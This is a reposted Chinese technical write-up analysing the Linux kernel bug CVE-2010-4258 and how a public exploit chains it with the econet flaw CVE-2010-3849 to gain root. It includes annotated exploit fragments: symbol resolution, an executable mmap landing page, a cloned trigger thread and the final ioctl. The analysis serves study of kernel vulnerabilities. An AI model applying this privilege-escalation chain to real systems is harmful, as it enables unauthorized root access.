【转】CVE-2010-4258 漏洞分析

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一. 漏洞简介

CVE-2010-4258这个漏洞很有意思，主要思路是如果通过clone函数去创建进程，并且带有CLONE_CHILD_CLEARTID标志，那么进程在退出的时候，可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。

二. 前置知识 (进程创建、退出)

1.当fork或者clone一个进程在的时候， copy_process执行如下操作：

[cpp] view plaincopy

 

1. static struct task_struct *copy_process(unsigned long clone_flags,  
2.                                         unsigned long stack_start,  
3.                                         struct pt_regs *regs,  
4.                                         unsigned long stack_size,  
5.                                         int __user *child_tidptr,  
6.                                         struct pid *pid,  
7.                                         int trace)  
8. {  
9.         p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;  
10.         /* 
11.          * Clear TID on mm_release() 
12.          */  
13.         p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;  
14. }  

如果clone的flag带有CLONE_CHILD_CLEARTID标志，那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。

2.应用层调用clone函数，并传递CLONE_CHILD_CLEARTID标志，则child_tidptr指针就会被赋值给子进程的clear_child_tid

[cpp] view plaincopy

 

1. clone((int (*)(void *))trigger,  
2.               (void *)((unsigned long)newstack + 65536),  
3.               CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,  
4.               &fildes, NULL, NULL, child_tidptr);  

3.进程在退出的时候调用do_exit清理资源，调用路径如下：do_exit->exit_mm->mm_release

[cpp] view plaincopy

 

1. /* 
2. * If we‘re exiting normally, clear a user-space tid field if 
3. * requested.  We leave this alone when dying by signal, to leave 
4. * the value intact in a core dump, and to save the unnecessary 
5. * trouble, say, a killed vfork parent shouldn‘t touch this mm. 
6. * Userland only wants this done for a sys_exit. 
7. */  
8. if (tsk->clear_child_tid) {  
9.     if (!(tsk->flags & PF_SIGNALED) &&  
10.         atomic_read(&mm->mm_users) > 1) {  
11.         /* 
12.          * We don‘t check the error code - if userspace has 
13.          * not set up a proper pointer then tough luck. 
14.          */  
15.         put_user(0, tsk->clear_child_tid);  
16.         sys_futex(tsk->clear_child_tid, FUTEX_WAKE,  
17.                 1, NULL, NULL, 0);  
18.     }  
19.     tsk->clear_child_tid = NULL;  
20. }  

上述代码中，如果tsk->clear_child_tid不为空，那么其会调用put_user(0, tsk->clear_child_tid);

4.put_user其实是一个宏，具体是__put_user_check函数，它会将tsk->clear_child_tid的值置为0

[cpp] view plaincopy

 

1. #define __put_user_check(x,ptr,size)                \  
2. ({                              \  
3.     long __pu_err = -EFAULT;                \  
4.     __typeof__(*(ptr)) __user *__pu_addr = (ptr);       \  
5.     __typeof__(*(ptr)) __pu_val = x;            \  
6.     if (likely(access_ok(VERIFY_WRITE, __pu_addr, size)))   \  
7.         __put_user_size(__pu_val, __pu_addr, (size),    \  
8.                 __pu_err);          \  
9.     __pu_err;                       \  
10. })  

__put_user_check函数会调用access_ok去检查传进来的参数是否合法

[cpp] view plaincopy

 

1. #define access_ok(type,addr,size)   _access_ok((unsigned long)(addr),(size))  
2.   
3. int _access_ok(unsigned long addr, unsigned long size)  
4. {  
5.     if (!size)  
6.         return 1;  
7.   
8.     if (!addr || addr > (0xffffffffUL - (size - 1)))  
9.         goto _bad_access;  
10.   
11.     if (segment_eq(get_fs(), KERNEL_DS))  
12.         return 1;  
13.   
14.     if (memory_start <= addr && (addr + size - 1) < memory_end)  
15.         return 1;  
16.   
17. _bad_access:  
18.     pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n",  
19.          current->pid, addr, size);  
20.     return 0;  
21. }  

access_ok也是一个宏，具体函数为_access_ok，其主要对外部传进来的addr和size参数做合法性检查，其中关键调用语句如下

if (segment_eq(get_fs(), KERNEL_DS))
return 1;

# define get_fs() (current_thread_info()->addr_limit)

如果get_fs() = KERNEL_DS，那么_access_ok检查始终返回1.

三. 前置知识（无效地址访问异常）

每当我们访问一个无效地址的时候，系统便会执行do_page_fault去生成异常日志，结束异常进程等。

[cpp] view plaincopy

 

1. int do_page_fault(struct pt_regs *regs, unsigned long address,  
2.           unsigned int write_access, unsigned int trapno)  
3. {  
4.     // ......  
5.     die("Oops", regs, (write_access << 15) | trapno, address);  
6.     do_exit(SIGKILL);  
7. }  

而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件，这个很关键。

接下来看看CVE-2010-3849这个漏洞，它主要是一个0地址访问异常漏洞，msg->msg_name可以由用户空间控制，因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。

[cpp] view plaincopy

 

1. static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,  
2.                           struct msghdr *msg, size_t len)  
3. {         
4.       struct sock *sk = sock->sk;  
5.       struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;  
6.                   
7.       eb->cookie = saddr->cookie;  
8. }  

四. 漏洞利用

1.获取需要用到的函数地址

[cpp] view plaincopy

 

1. /* Resolve addresses of relevant symbols */  
2. printf("[*] Resolving kernel addresses...\n");  
3. econet_ioctl = get_kernel_sym("econet_ioctl");  
4. econet_ops = get_kernel_sym("econet_ops");  
5. commit_creds = (_commit_creds) get_kernel_sym("commit_creds");  
6. prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");  

2.申请一块新进程的栈空间

[cpp] view plaincopy

 

1. if(!(newstack = malloc(65536))) {  
2.                 printf("[*] Failed to allocate memory.\n");  
3.                 return -1;  
4.         }  

3.处理好需要映射的地址，比较关键

[cpp] view plaincopy

 

1. // econet_ops中保存了各个econet函数的地址指针，  
2. // 10 * sizeof(void *)到达econet_ioctl的下一个函数地址  
3. // 再-1，那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节  
4. target = econet_ops + 10 * sizeof(void *) - OFFSET;  
5.    
6. // 清掉econet_ioctl函数的高8字节  
7. landing = econet_ioctl << SHIFT >> SHIFT;  
8.   
9. // landing按页对齐，map了2个页的内存  
10. payload = mmap((void *)(landing & ~0xfff), 2 * 4096,  
11.                        PROT_READ | PROT_WRITE | PROT_EXEC,  
12.                        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);  
13.    
14. if ((long)payload == -1) {  
15.            rintf("[*] Failed to mmap() at target address.\n");  
16.            return -1;  
17. }  
18.   
19. // 将提权代码拷贝到landing  
20. memcpy((void *)landing, &trampoline, 1024);  

ps.这里要说明一下，这里为什么要把地址映射到（econet_ioctl&0x00FFFFFF）地址范围内，而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了，所以采用了一个很巧妙的小技巧。

可以调用查看下系统最低映射的地址，我这里是65536

4.clone进程

[cpp] view plaincopy

 

1. // trigger用来触发CVE-2010-3849漏洞，是一个0地址访问异常  
2. int trigger(int * fildes)  
3. {  
4.         int ret;  
5.         struct ifreq ifr;  
6.    
7.         memset(&ifr, 0, sizeof(ifr));  
8.         strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);  
9.    
10.         ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);  
11.    
12.         if(ret < 0) {  
13.                 printf("[*] Failed to set Econet address.\n");  
14.                 return -1;  
15.         }  
16.    
17.         splice(fildes[3], NULL, fildes[1], NULL, 128, 0);  
18.         splice(fildes[0], NULL, fildes[2], NULL, 128, 0);  
19.    
20.         /* Shouldn‘t get here... */  
21.         exit(0);  
22. }  
23.   
24. // clone进程，子进程调用trigger触发0地址访问的漏洞，进而将target指向的地址清0  
25. // 即清掉了econet_ioctl函数地址的高8字节  
26. clone((int (*)(void *))trigger,  
27.               (void *)((unsigned long)newstack + 65536),  
28.               CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,  
29.               &fildes, NULL, NULL, target);  

5.最后ioctl函数触发底层的econet_ioctl函数执行，而econet_ioctl函数的高8字节已经被我们清零了，所以会调用到我们的map地址中，进而触发提权代码获得root权限

[cpp] view plaincopy

 

1. sleep(1);  
2. printf("[*] Triggering payload...\n");  
3. ioctl(fildes[2], 0, NULL);  

参考文章：

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258

http://www.exploit-db.com/exploits/15704/

http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9

【转】CVE-2010-4258 漏洞分析

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原文地址：http://www.cnblogs.com/jiayy/p/4445086.html